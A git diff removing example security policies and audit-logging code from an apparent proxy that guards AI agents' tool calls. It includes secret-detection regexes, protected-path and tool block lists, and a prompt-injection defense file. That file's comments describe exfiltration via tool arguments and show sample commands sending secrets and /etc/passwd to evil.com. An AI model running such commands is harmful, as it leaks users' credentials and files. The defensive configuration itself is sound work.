- # accidental exposure of PII, API keys, and secrets through tool outputs.
- #
- # When a pattern matches, the sensitive data is replaced with:
- # [REDACTED:]
- #
- # Each redaction is logged to the audit trail as a DLP_TRIGGERED event.
- #
- # ENCODING DETECTION:
- # detect_encoding: true enables scanning of base64/hex encoded strings.
- # This catches bypass attacks where secrets are encoded to evade patterns:
- # Original: AKIAIOSFODNN7EXAMPLE
- # Base64: QUtJQUlPU0ZPRE5ON0VYQU1QTEU=
- # Hex: 414b4941494f53464f444e4e374558414d504c45
- # Without detection, encoded forms would pass through undetected.
- dlp:
- # enabled: true # Default is true when dlp block is present
- detect_encoding: true # Decode base64/hex before scanning (recommended)
- filter_stderr: true # Apply DLP to subprocess error logs (recommended)
- patterns:
- # Email addresses (PII)
- - name: "Email"
- regex: "[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}"
-
- # AWS Access Key IDs (starts with AKIA, ASIA, etc.)
- - name: "AWS Key"
- regex: "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}"
-
- # Generic secret patterns (api_key, secret, password with values)
- - name: "Generic Secret"
- regex: "(?i)(api_key|secret|password)\\s*[:=]\\s*['\"]?([a-zA-Z0-9-_]+)['\"]?"
-
- # Social Security Numbers (US)
- - name: "SSN"
- regex: "\\b\\d{3}-\\d{2}-\\d{4}\\b"
-
- # Credit Card Numbers (basic pattern - 16 digits with optional separators)
- - name: "Credit Card"
- regex: "\\b(?:\\d{4}[- ]?){3}\\d{4}\\b"
-
- # GitHub Personal Access Tokens
- - name: "GitHub Token"
- regex: "ghp_[a-zA-Z0-9]{36}"
-
- # Private keys (PEM format headers)
- - name: "Private Key"
- regex: "-----BEGIN (RSA |EC |DSA |OPENSSH )?PRIVATE KEY-----"
diff --git a/implementations/go-proxy/examples/docker-wrapper.yaml b/implementations/go-proxy/examples/docker-wrapper.yaml
deleted file mode 100644
index 929a4da..0000000
--- a/implementations/go-proxy/examples/docker-wrapper.yaml
+++ /dev/null
@@ -1,102 +0,0 @@
-# Docker Container MCP Server Policy Example
-#
-# This example shows how to properly wrap a Dockerized MCP server with AIP.
-#
-# IMPORTANT: Signal Propagation
-# =============================
-# When AIP is terminated (SIGTERM/SIGINT), it sends SIGTERM to the subprocess.
-# For Docker containers to properly receive this signal:
-#
-# 1. Use --rm flag: Container is removed when it exits
-# 2. Use --init flag: Proper signal handling inside container
-# 3. Use -i flag: Keep stdin open for JSON-RPC communication
-#
-# Example command:
-# aip --policy docker-wrapper.yaml \
-# --target "docker run --rm --init -i mcp/filesystem:latest"
-#
-# Without these flags, stopping AIP may leave orphaned containers running!
-#
-# To verify cleanup works:
-# 1. Start AIP with the target Docker container
-# 2. Run: docker ps (note container ID)
-# 3. Press Ctrl+C to stop AIP
-# 4. Run: docker ps (container should be gone)
-#
-# If the container persists, manually clean up with:
-# docker stop && docker rm
-
-apiVersion: aip.io/v1alpha1
-kind: AgentPolicy
-
-metadata:
- name: docker-mcp-server
- version: "1.0.0"
- owner: platform-team@company.com
-
-spec:
- mode: enforce
-
- # Container-specific tool allowlist
- # Adjust based on what your MCP server provides
- allowed_tools:
- # Filesystem tools (if using mcp/filesystem image)
- - read_file
- - list_directory
- - get_file_info
-
- # Database tools (if using a DB MCP server)
- # - query
- # - list_tables
-
- # Custom container tools
- # - your_custom_tool
-
- # Protected paths - prevent container escape attempts
- protected_paths:
- # Host paths that might be mounted
- - /etc/passwd
- - /etc/shadow
- - /root
- - ~/.ssh
- - ~/.aws
- # Container-specific paths
- - /proc
- - /sys
- - /.dockerenv
-
- tool_rules:
- # Require approval for any write operations
- - tool: write_file
- action: ask
- allow_args:
- path: "^/workspace/.*" # Only allow writes to workspace
-
- # Block potentially dangerous operations
- - tool: execute_command
- action: block
-
- - tool: shell_exec
- action: block
-
- # Rate limit expensive operations
- - tool: query
- rate_limit: "10/minute"
-
- # DLP: Prevent secrets from leaking through container logs
- dlp:
- enabled: true
- detect_encoding: true
- filter_stderr: true # Important for Docker - catches container errors
- patterns:
- - name: "Docker Secret"
- regex: "DOCKER_.*=.*"
-
- - name: "AWS Key"
- regex: "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}"
-
- - name: "Generic Secret"
- regex: "(?i)(password|secret|token|api_key)\\s*[:=]\\s*['\"]?[^\\s'\"]+['\"]?"
-
- - name: "Private Key"
- regex: "-----BEGIN (RSA |EC |DSA |OPENSSH )?PRIVATE KEY-----"
diff --git a/implementations/go-proxy/examples/gemini-jack-defense.yaml b/implementations/go-proxy/examples/gemini-jack-defense.yaml
deleted file mode 100644
index 7f4dc14..0000000
--- a/implementations/go-proxy/examples/gemini-jack-defense.yaml
+++ /dev/null
@@ -1,160 +0,0 @@
-# AIP Policy: Gemini Jack Defense
-#
-# This policy demonstrates defenses against prompt injection attacks,
-# including the "Gemini Jack" attack pattern where an adversary attempts
-# to exfiltrate data through tool arguments.
-#
-# Attack patterns defended against:
-# 1. Data exfiltration via URLs with embedded secrets
-# 2. Shell command injection in tool arguments
-# 3. Path traversal attacks (../)
-# 4. Environment variable exfiltration
-# 5. Output redirection to attacker endpoints
-#
-# Reference: https://embrace-the-red.com/blog/gemini-jack/
-#
-# Usage:
-# aip --policy examples/gemini-jack-defense.yaml --target "your-mcp-server"
-
-apiVersion: aip.io/v1alpha1
-kind: AgentPolicy
-
-metadata:
- name: gemini-jack-defense
- version: "1.0.0"
- owner: security-team@company.com
-
-spec:
- mode: enforce
-
- allowed_tools:
- # Read operations
- - read_file
- - list_directory
- - search_files
- - grep
-
- # Controlled network access
- - fetch_url
- - http_get
-
- # File operations (with restrictions)
- - write_file
-
- tool_rules:
- # === DEFENSE 1: URL Parameter Injection ===
- # Block URLs that could exfiltrate data via query parameters
- # Attack: fetch_url("https://evil.com/steal?secret=" + secret_value)
- - tool: fetch_url
- action: allow
- allow_args:
- # Only allow specific trusted domains
- url: "^https://(api\\.github\\.com|raw\\.githubusercontent\\.com|pypi\\.org|npmjs\\.com)/[a-zA-Z0-9/_.-]+$"
-
- - tool: http_get
- action: allow
- allow_args:
- # Same restrictions for HTTP client
- url: "^https://(api\\.github\\.com|raw\\.githubusercontent\\.com)/[a-zA-Z0-9/_.-]+$"
-
- # === DEFENSE 2: Path Traversal ===
- # Block ../ sequences that could access parent directories
- # Attack: read_file("../../etc/passwd")
- - tool: read_file
- action: allow
- allow_args:
- # Block path traversal - no .. allowed
- path: "^(?!.*\\.\\.).*$"
- # Alternative: restrict to specific directory
- # path: "^/workspace/.*$"
-
- - tool: write_file
- action: ask # Require human approval for writes
- allow_args:
- path: "^(?!.*\\.\\.)[a-zA-Z0-9/_.-]+$"
- # Also block writes to sensitive locations
- # path: "^(?!.*(/.env|/secrets|/credentials|/.ssh)).*$"
-
- # === DEFENSE 3: Shell Command Injection ===
- # Block shell metacharacters in any exec tool
- # Attack: exec("cat file; curl evil.com/$(cat /etc/passwd)")
- - tool: exec_command
- action: ask
- allow_args:
- # Block shell metacharacters: ; | & $ ` \ > <
- command: "^[a-zA-Z0-9 _./=-]+$"
-
- - tool: run_command
- action: ask
- allow_args:
- command: "^[a-zA-Z0-9 _./=-]+$"
-
- # === DEFENSE 4: Environment Variable Access ===
- # Block attempts to read environment variables
- - tool: get_env
- action: block
-
- - tool: env
- action: block
-
- # === DEFENSE 5: Dangerous Operations ===
- # Always block these regardless of arguments
- - tool: eval
- action: block
-
- - tool: exec
- action: block
-
- - tool: system
- action: block
-
- - tool: subprocess
- action: block
-
- - tool: popen
- action: block
-
- # === DLP: Output Redaction ===
- # Even if an attack partially succeeds, redact sensitive data
- # from responses before they reach the client
- dlp:
- enabled: true
- patterns:
- # AWS credentials
- - name: "AWS Access Key"
- regex: "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}"
-
- - name: "AWS Secret Key"
- regex: "(?i)aws_secret_access_key\\s*[:=]\\s*['\"]?([a-zA-Z0-9/+=]{40})['\"]?"
-
- # GitHub tokens (classic and fine-grained)
- - name: "GitHub Token"
- regex: "(ghp|gho|ghu|ghs|ghr)_[a-zA-Z0-9]{36,}"
-
- # Generic secrets
- - name: "Generic Secret"
- regex: "(?i)(secret|api_key|apikey|access_token|auth_token)\\s*[:=]\\s*['\"]?([a-zA-Z0-9-_]{16,})['\"]?"
-
- # Private keys
- - name: "Private Key"
- regex: "-----BEGIN (RSA |EC |DSA |OPENSSH |PGP )?PRIVATE KEY-----"
-
- # JWT tokens
- - name: "JWT Token"
- regex: "eyJ[a-zA-Z0-9_-]*\\.eyJ[a-zA-Z0-9_-]*\\.[a-zA-Z0-9_-]*"
-
- # Database connection strings
- - name: "Database URL"
- regex: "(?i)(postgres|mysql|mongodb|redis)://[a-zA-Z0-9:@._/-]+"
-
- # IP addresses (potential internal infrastructure)
- - name: "Internal IP"
- regex: "\\b(10\\.|172\\.(1[6-9]|2[0-9]|3[01])\\.|192\\.168\\.)[0-9]{1,3}\\.[0-9]{1,3}\\b"
-
- # Email addresses (PII)
- - name: "Email"
- regex: "[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}"
-
- # Social Security Numbers
- - name: "SSN"
- regex: "\\b\\d{3}-\\d{2}-\\d{4}\\b"
diff --git a/implementations/go-proxy/examples/gpu-policy.yaml b/implementations/go-proxy/examples/gpu-policy.yaml
deleted file mode 100644
index f978276..0000000
--- a/implementations/go-proxy/examples/gpu-policy.yaml
+++ /dev/null
@@ -1,109 +0,0 @@
-# GPU/Kubernetes Policy Example
-#
-# This policy demonstrates how to protect GPU and Kubernetes operations
-# with AIP. Use this as a starting point for ML/AI infrastructure agents.
-#
-# Key features demonstrated:
-# - Rate limiting for resource queries
-# - Human-in-the-Loop for compute-intensive operations
-# - Explicit blocking of destructive operations
-# - DLP for protecting credentials in responses
-
-apiVersion: aip.io/v1alpha1
-kind: AgentPolicy
-
-metadata:
- name: gpu-policy
- version: "1.0.0"
- owner: ml-platform@company.com
-
-spec:
- # Enforce mode - block violations
- mode: enforce
-
- # Tools the agent is allowed to use
- allowed_tools:
- # GPU operations (read-only)
- - list_gpus
- - get_gpu_metrics
- - get_gpu_utilization
-
- # Kubernetes read operations
- - list_pods
- - get_pod_logs
- - describe_pod
- - list_namespaces
- - list_jobs
-
- # Job status checking
- - get_job_status
- - list_training_runs
-
- # Fine-grained tool rules
- tool_rules:
- # Rate limit GPU queries to prevent abuse
- - tool: list_gpus
- rate_limit: "10/minute"
-
- - tool: get_gpu_metrics
- rate_limit: "30/minute"
-
- # Training operations require human approval
- - tool: run_training
- action: ask
-
- - tool: submit_job
- action: ask
-
- - tool: allocate_gpu
- action: ask
-
- # Scale operations require approval
- - tool: scale_deployment
- action: ask
-
- - tool: create_pod
- action: ask
-
- # Destructive operations are blocked
- - tool: delete_pod
- action: block
-
- - tool: delete_job
- action: block
-
- - tool: delete_namespace
- action: block
-
- - tool: drain_node
- action: block
-
- # Kubectl exec is dangerous - block entirely
- - tool: kubectl_exec
- action: block
-
- - tool: exec_command
- action: block
-
- # DLP to prevent credential leakage in responses
- dlp:
- patterns:
- # Kubernetes secrets
- - name: "K8s Secret"
- regex: "(?i)secret:\\s*[a-zA-Z0-9-_]+"
-
- # Service account tokens
- - name: "K8s Token"
- regex: "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9\\.[a-zA-Z0-9_-]+\\.[a-zA-Z0-9_-]+"
-
- # Kubeconfig credentials
- - name: "Kubeconfig Cred"
- regex: "(?i)(client-certificate-data|client-key-data|token):\\s*[a-zA-Z0-9+/=]+"
-
- # NVIDIA API keys
- - name: "NVIDIA Key"
- regex: "nvapi-[a-zA-Z0-9-_]{32,}"
-
- # Generic cloud credentials
- - name: "Cloud Cred"
- regex: "(?i)(aws_secret_access_key|azure_client_secret|gcp_private_key)\\s*[:=]\\s*['\"]?[a-zA-Z0-9+/=_-]+['\"]?"
diff --git a/implementations/go-proxy/examples/identity-server.yaml b/implementations/go-proxy/examples/identity-server.yaml
deleted file mode 100644
index 87e302e..0000000
--- a/implementations/go-proxy/examples/identity-server.yaml
+++ /dev/null
@@ -1,102 +0,0 @@
-# Example: AIP v1alpha2 with Identity and Server features
-#
-# This policy demonstrates the new server-side features in v1alpha2:
-# - Agent identity tokens with automatic rotation
-# - Server-side HTTP validation endpoint
-# - Policy signing (optional)
-#
-# Use case: Enterprise deployment with centralized policy validation
-
-apiVersion: aip.io/v1alpha2
-kind: AgentPolicy
-metadata:
- name: enterprise-agent
- version: "1.0.0"
- owner: security-team@company.com
- # Optional: Sign policy for integrity verification
- # signature: "ed25519:YWJjZGVm..."
-
-spec:
- # Enforcement mode
- mode: enforce
-
- # Allowed tools
- allowed_tools:
- - read_file
- - write_file
- - list_directory
- - search_code
- - run_tests
-
- # Tool-specific rules
- tool_rules:
- - tool: write_file
- action: allow
- rate_limit: "20/minute"
- allow_args:
- path: "^/workspace/.*" # Only allow writes to workspace
-
- - tool: run_tests
- action: ask # Require human approval for test execution
- rate_limit: "5/hour"
-
- # Protected paths (auto-includes policy file)
- protected_paths:
- - "~/.ssh"
- - "~/.aws"
- - "~/.config/gcloud"
- - ".env"
- - ".env.*"
- - "**/secrets/**"
-
- # DLP configuration
- dlp:
- enabled: true
- detect_encoding: true
- patterns:
- - name: "AWS Key"
- regex: "AKIA[0-9A-Z]{16}"
- - name: "Private Key"
- regex: "-----BEGIN (RSA |EC |DSA )?PRIVATE KEY-----"
- - name: "API Token"
- regex: "(?i)(api[_-]?key|token|secret)[\"']?\\s*[:=]\\s*[\"']?[a-zA-Z0-9_-]{20,}"
-
- # --- NEW IN v1alpha2 ---
-
- # Agent Identity Configuration
- identity:
- # Enable token generation
- enabled: true
-
- # Token lifetime (short for security)
- token_ttl: "10m"
-
- # Rotate tokens before expiry
- rotation_interval: "8m"
-
- # Require tokens for all requests (enable after testing)
- require_token: true
-
- # Bind session to process + policy
- session_binding: "strict"
-
- # Server-Side Validation Configuration
- server:
- # Enable HTTP server
- enabled: true
-
- # Listen address (localhost only for security)
- listen: "127.0.0.1:9443"
-
- # TLS configuration (required for non-localhost)
- # tls:
- # cert: "/etc/aip/tls/cert.pem"
- # key: "/etc/aip/tls/key.pem"
- # client_ca: "/etc/aip/tls/ca.pem" # For mTLS
- # require_client_cert: true
-
- # Custom endpoint paths (optional)
- endpoints:
- validate: "/v1/validate"
- health: "/health"
- metrics: "/metrics"
diff --git a/implementations/go-proxy/examples/monitor-mode.yaml b/implementations/go-proxy/examples/monitor-mode.yaml
deleted file mode 100644
index 6b84774..0000000
--- a/implementations/go-proxy/examples/monitor-mode.yaml
+++ /dev/null
@@ -1,79 +0,0 @@
-# AIP Policy: Monitor Mode (Audit-Only)
-#
-# This policy logs ALL tool invocations without blocking anything.
-# Perfect for understanding agent behavior before enforcing policies.
-#
-# Use case:
-# - Initial deployment to observe agent behavior
-# - Testing new policies before enforcement
-# - Compliance auditing
-# - Debugging agent workflows
-#
-# Usage:
-# aip --policy examples/monitor-mode.yaml --target "your-mcp-server"
-#
-# View audit log:
-# cat aip-audit.jsonl | jq '.'
-#
-# Find violations (would have been blocked in enforce mode):
-# cat aip-audit.jsonl | jq 'select(.violation == true)'
-
-apiVersion: aip.io/v1alpha1
-kind: AgentPolicy
-
-metadata:
- name: monitor-all
- version: "1.0.0"
- owner: platform-team@company.com
-
-spec:
- # MONITOR MODE: Log everything, block nothing
- # Violations are recorded but requests pass through
- mode: monitor
-
- # Define what WOULD be allowed in enforce mode
- # Tools not in this list will be logged as "violation: true"
- allowed_tools:
- # Common safe operations
- - read_file
- - list_directory
- - search_files
- - grep
- - find
- - cat
- - ls
-
- # Tool rules that WOULD apply in enforce mode
- # In monitor mode, violations are logged but allowed
- tool_rules:
- # Track file writes (would be blocked in enforce)
- - tool: write_file
- action: block
-
- # Track shell execution (would be blocked in enforce)
- - tool: exec_command
- action: block
-
- # Track git writes (would require approval in enforce)
- - tool: git_push
- action: ask
-
- # Track external requests (would be blocked in enforce)
- - tool: fetch_url
- action: block
- allow_args:
- url: "^https://.*" # Would only allow HTTPS
-
- # DLP scanning still applies in monitor mode
- # Sensitive data is redacted from responses
- dlp:
- enabled: true
- patterns:
- - name: "API Key"
- regex: "(?i)(api[_-]?key|apikey)\\s*[:=]\\s*['\"]?([a-zA-Z0-9-_]{20,})['\"]?"
-
- - name: "Password"
- regex: "(?i)(password|passwd|pwd)\\s*[:=]\\s*['\"]?([^\\s'\"]+)['\"]?"
-
- - name: "Email"
- regex: "[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}"
diff --git a/implementations/go-proxy/examples/read-only.yaml b/implementations/go-proxy/examples/read-only.yaml
deleted file mode 100644
index a9ab58f..0000000
--- a/implementations/go-proxy/examples/read-only.yaml
+++ /dev/null
@@ -1,108 +0,0 @@
-# AIP Policy: Read-Only Mode
-#
-# This policy allows ONLY read operations - viewing files, listing directories,
-# and searching content. All write, execute, and network operations are blocked.
-#
-# Use case:
-# - Code review agents that only need to read and analyze code
-# - Documentation generators that scan existing files
-# - Static analysis tools
-#
-# Usage:
-# aip --policy examples/read-only.yaml --target "your-mcp-server"
-
-apiVersion: aip.io/v1alpha1
-kind: AgentPolicy
-
-metadata:
- name: read-only-agent
- version: "1.0.0"
- owner: security-team@company.com
-
-spec:
- mode: enforce
-
- # ONLY these read-only tools are allowed
- # Everything else is blocked by default
- allowed_tools:
- # Filesystem reads
- - cat
- - ls
- - head
- - tail
- - less
- - find
- - tree
- - wc
- - file
- - stat
-
- # Content search
- - grep
- - egrep
- - fgrep
- - rg # ripgrep
- - ag # silver searcher
- - ack
-
- # Viewing/inspection
- - read_file
- - list_directory
- - list_files
- - get_file_contents
- - view_file
-
- # Git read operations
- - git_status
- - git_log
- - git_diff
- - git_show
- - git_blame
-
- tool_rules:
- # Ensure 'find' only searches, no -exec or -delete
- - tool: find
- action: allow
- allow_args:
- # Block dangerous find options
- command: "^(?!.*(-exec|-delete|-execdir)).*$"
-
- # Block any tool that could modify files
- - tool: write_file
- action: block
- - tool: edit_file
- action: block
- - tool: delete_file
- action: block
- - tool: rm
- action: block
- - tool: mv
- action: block
- - tool: cp
- action: block
- - tool: chmod
- action: block
- - tool: chown
- action: block
-
- # Block execution tools
- - tool: exec_command
- action: block
- - tool: run_command
- action: block
- - tool: shell
- action: block
- - tool: bash
- action: block
- - tool: sh
- action: block
-
- # Block network operations
- - tool: curl
- action: block
- - tool: wget
- action: block
- - tool: fetch_url
- action: block
- - tool: http_request
- action: block
diff --git a/implementations/go-proxy/go.mod b/implementations/go-proxy/go.mod
deleted file mode 100644
index 47d1300..0000000
--- a/implementations/go-proxy/go.mod
+++ /dev/null
@@ -1,13 +0,0 @@
-module github.com/ArangoGutierrez/agent-identity-protocol/implementations/go-proxy
-
-go 1.25
-
-require (
- github.com/gen2brain/dlgs v0.0.0-20220603100644-40c77870fa8d
- github.com/google/uuid v1.6.0
- golang.org/x/text v0.33.0
- golang.org/x/time v0.5.0
- gopkg.in/yaml.v3 v3.0.1
-)
-
-require github.com/gopherjs/gopherjs v1.17.2 // indirect
diff --git a/implementations/go-proxy/go.sum b/implementations/go-proxy/go.sum
deleted file mode 100644
index 5a3594d..0000000
--- a/implementations/go-proxy/go.sum
+++ /dev/null
@@ -1,14 +0,0 @@
-github.com/gen2brain/dlgs v0.0.0-20220603100644-40c77870fa8d h1:dHYKX8CBAs1zSGXm3q3M15CLAEwPEkwrK1ed8FCo+Xo=
-github.com/gen2brain/dlgs v0.0.0-20220603100644-40c77870fa8d/go.mod h1:/eFcjDXaU2THSOOqLxOPETIbHETnamk8FA/hMjhg/gU=
-github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
-github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
-github.com/gopherjs/gopherjs v1.17.2 h1:fQnZVsXk8uxXIStYb0N4bGk7jeyTalG/wsZjQ25dO0g=
-github.com/gopherjs/gopherjs v1.17.2/go.mod h1:pRRIvn/QzFLrKfvEz3qUuEhtE/zLCWfreZ6J5gM2i+k=
-golang.org/x/text v0.33.0 h1:B3njUFyqtHDUI5jMn1YIr5B0IE2U0qck04r6d4KPAxE=
-golang.org/x/text v0.33.0/go.mod h1:LuMebE6+rBincTi9+xWTY8TztLzKHc/9C1uBCG27+q8=
-golang.org/x/time v0.5.0 h1:o7cqy6amK/52YcAKIPlM3a+Fpj35zvRj2TP+e1xFSfk=
-golang.org/x/time v0.5.0/go.mod h1:3BpzKBy/shNhVucY/MWOyx10tF3SFh9QdLuxbVysPQM=
-gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
-gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
-gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
-gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
diff --git a/implementations/go-proxy/pkg/audit/logger.go b/implementations/go-proxy/pkg/audit/logger.go
deleted file mode 100644
index 256c60f..0000000
--- a/implementations/go-proxy/pkg/audit/logger.go
+++ /dev/null
@@ -1,380 +0,0 @@
-// Package audit provides structured audit logging for AIP policy decisions.
-//
-// CRITICAL: This logger writes ONLY to a file (aip-audit.jsonl), NEVER to stdout.
-// stdout is reserved exclusively for JSON-RPC transport between client and server.
-// Writing logs to stdout would corrupt the JSON-RPC message stream.
-//
-// Log entries are written in JSON Lines format (one JSON object per line) to
-// support streaming consumption by log aggregators and SIEM systems.
-package audit
-
-import (
- "context"
- "fmt"
- "io"
- "log/slog"
- "os"
- "sync"
- "time"
-)
-
-// Direction indicates the flow direction of the intercepted message.
-type Direction string
-
-const (
- // DirectionUpstream = Client β Server (agent β MCP server)
- DirectionUpstream Direction = "upstream"
- // DirectionDownstream = Server β Client (MCP server β agent)
- DirectionDownstream Direction = "downstream"
-)
-
-// Decision represents the policy engine's authorization decision.
-type Decision string
-
-const (
- // DecisionAllow - Request permitted, forwarded to server
- DecisionAllow Decision = "ALLOW"
- // DecisionBlock - Request denied, error returned to client
- DecisionBlock Decision = "BLOCK"
- // DecisionAllowMonitor - Would be blocked, but monitor mode allowed passthrough
- DecisionAllowMonitor Decision = "ALLOW_MONITOR"
- // DecisionRateLimited - Request denied due to rate limit exceeded
- DecisionRateLimited Decision = "RATE_LIMITED"
- // DecisionDLPRedacted - Response contained sensitive data that was redacted
- DecisionDLPRedacted Decision = "DLP_TRIGGERED"
-)
-
-// PolicyMode represents the enforcement mode of the policy.
-type PolicyMode string
-
-const (
- // PolicyModeEnforce - Violations are blocked (default)
- PolicyModeEnforce PolicyMode = "enforce"
- // PolicyModeMonitor - Violations are logged but allowed (dry run)
- PolicyModeMonitor PolicyMode = "monitor"
-)
-
-// Entry represents a single audit log entry.
-//
-// Example JSON output:
-//
-// {
-// "timestamp": "2025-01-20T10:30:45.123Z",
-// "direction": "upstream",
-// "method": "tools/call",
-// "tool": "delete_file",
-// "args": {"path": "/etc/passwd"},
-// "decision": "BLOCK",
-// "policy_mode": "enforce",
-// "violation": true,
-// "failed_arg": "path",
-// "failed_rule": "^/home/.*"
-// }
-type Entry struct {
- Timestamp time.Time `json:"timestamp"`
- Direction Direction `json:"direction"`
- Method string `json:"method,omitempty"`
- Tool string `json:"tool,omitempty"`
- Args map[string]any `json:"args,omitempty"`
- Decision Decision `json:"decision"`
- PolicyMode PolicyMode `json:"policy_mode"`
- Violation bool `json:"violation"`
- FailedArg string `json:"failed_arg,omitempty"`
- FailedRule string `json:"failed_rule,omitempty"`
- PolicyName string `json:"policy_name,omitempty"`
- RequestID string `json:"request_id,omitempty"`
- ErrorReason string `json:"error_reason,omitempty"`
-}
-
-// Logger provides structured audit logging to a file.
-//
-// Thread-safety: Logger is safe for concurrent use. The underlying slog.Logger
-// and file writes are protected by a mutex.
-//
-// CRITICAL: This logger NEVER writes to stdout. All output goes to the
-// configured file path to preserve the JSON-RPC transport stream.
-type Logger struct {
- slogger *slog.Logger
- file *os.File
- mu sync.Mutex
- mode PolicyMode
-}
-
-// Config holds configuration for the audit logger.
-type Config struct {
- // FilePath is the path to the audit log file.
- // Default: "aip-audit.jsonl" in current directory.
- FilePath string
-
- // Mode is the policy enforcement mode (enforce/monitor).
- // Used to populate the policy_mode field in log entries.
- Mode PolicyMode
-}
-
-// DefaultConfig returns the default audit logger configuration.
-func DefaultConfig() *Config {
- return &Config{
- FilePath: "aip-audit.jsonl",
- Mode: PolicyModeEnforce,
- }
-}
-
-// NewLogger creates a new audit logger writing to the specified file.
-//
-// CRITICAL: This function validates that we are NOT writing to stdout.
-// The file is opened in append mode to preserve existing audit trail.
-//
-// Returns error if:
-// - File path is empty
-// - File cannot be opened/created
-// - File path points to stdout ("/dev/stdout" or similar)
-func NewLogger(cfg *Config) (*Logger, error) {
- if cfg == nil {
- cfg = DefaultConfig()
- }
-
- if cfg.FilePath == "" {
- cfg.FilePath = "aip-audit.jsonl"
- }
-
- // CRITICAL SAFETY CHECK: Ensure we NEVER write to stdout
- // stdout is reserved for JSON-RPC transport
- if isStdoutPath(cfg.FilePath) {
- return nil, fmt.Errorf("audit logger MUST NOT write to stdout (path: %s); stdout is reserved for JSON-RPC transport", cfg.FilePath)
- }
-
- // Open file in append mode, create if not exists
- file, err := os.OpenFile(cfg.FilePath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
- if err != nil {
- return nil, fmt.Errorf("failed to open audit log file %q: %w", cfg.FilePath, err)
- }
-
- // Create JSON handler writing to file
- // IMPORTANT: We explicitly pass the file, not os.Stdout
- handler := slog.NewJSONHandler(file, &slog.HandlerOptions{
- Level: slog.LevelInfo,
- })
-
- return &Logger{
- slogger: slog.New(handler),
- file: file,
- mode: cfg.Mode,
- }, nil
-}
-
-// isStdoutPath checks if the given path would write to stdout.
-func isStdoutPath(path string) bool {
- // Common paths that point to stdout
- stdoutPaths := []string{
- "/dev/stdout",
- "/dev/fd/1",
- "/proc/self/fd/1",
- }
- for _, p := range stdoutPaths {
- if path == p {
- return true
- }
- }
- return false
-}
-
-// NewNopLogger creates a no-op logger that discards all entries.
-// Useful for testing or when audit logging is disabled.
-func NewNopLogger() *Logger {
- handler := slog.NewJSONHandler(io.Discard, nil)
- return &Logger{
- slogger: slog.New(handler),
- file: nil,
- mode: PolicyModeEnforce,
- }
-}
-
-// Log writes an audit entry to the log file.
-//
-// This method is safe for concurrent use from multiple goroutines.
-func (l *Logger) Log(entry *Entry) {
- l.mu.Lock()
- defer l.mu.Unlock()
-
- // Set timestamp if not provided
- if entry.Timestamp.IsZero() {
- entry.Timestamp = time.Now().UTC()
- }
-
- // Set policy mode from logger config if not specified
- if entry.PolicyMode == "" {
- entry.PolicyMode = l.mode
- }
-
- // Build slog attributes from entry
- attrs := []slog.Attr{
- slog.Time("timestamp", entry.Timestamp),
- slog.String("direction", string(entry.Direction)),
- slog.String("decision", string(entry.Decision)),
- slog.String("policy_mode", string(entry.PolicyMode)),
- slog.Bool("violation", entry.Violation),
- }
-
- if entry.Method != "" {
- attrs = append(attrs, slog.String("method", entry.Method))
- }
- if entry.Tool != "" {
- attrs = append(attrs, slog.String("tool", entry.Tool))
- }
- if entry.Args != nil {
- attrs = append(attrs, slog.Any("args", entry.Args))
- }
- if entry.FailedArg != "" {
- attrs = append(attrs, slog.String("failed_arg", entry.FailedArg))
- }
- if entry.FailedRule != "" {
- attrs = append(attrs, slog.String("failed_rule", entry.FailedRule))
- }
- if entry.PolicyName != "" {
- attrs = append(attrs, slog.String("policy_name", entry.PolicyName))
- }
- if entry.RequestID != "" {
- attrs = append(attrs, slog.String("request_id", entry.RequestID))
- }
- if entry.ErrorReason != "" {
- attrs = append(attrs, slog.String("error_reason", entry.ErrorReason))
- }
-
- // Log the entry
- l.slogger.LogAttrs(context.Background(), slog.LevelInfo, "audit", attrs...)
-}
-
-// LogToolCall is a convenience method for logging tool call decisions.
-func (l *Logger) LogToolCall(tool string, args map[string]any, decision Decision, violation bool, failedArg, failedRule string) {
- l.Log(&Entry{
- Direction: DirectionUpstream,
- Method: "tools/call",
- Tool: tool,
- Args: args,
- Decision: decision,
- Violation: violation,
- FailedArg: failedArg,
- FailedRule: failedRule,
- })
-}
-
-// LogMethodBlock logs when a JSON-RPC method is blocked by policy.
-// This is for method-level blocking (e.g., resources/read) which happens
-// BEFORE tool-level policy checks.
-func (l *Logger) LogMethodBlock(method string, reason string) {
- l.mu.Lock()
- defer l.mu.Unlock()
-
- attrs := []slog.Attr{
- slog.Time("timestamp", time.Now().UTC()),
- slog.String("direction", string(DirectionUpstream)),
- slog.String("event", "METHOD_BLOCKED"),
- slog.String("method", method),
- slog.String("reason", reason),
- slog.String("policy_mode", string(l.mode)),
- }
-
- l.slogger.LogAttrs(context.Background(), slog.LevelWarn, "method_block", attrs...)
-}
-
-// LogProtectedPathBlock logs when a tool call is blocked due to accessing a protected path.
-// This is a critical security event - it may indicate an agent attempting policy
-// self-modification or accessing sensitive credentials.
-//
-// Example JSON output:
-//
-// {
-// "timestamp": "2025-01-20T10:30:45.123Z",
-// "direction": "upstream",
-// "event": "PROTECTED_PATH_BLOCKED",
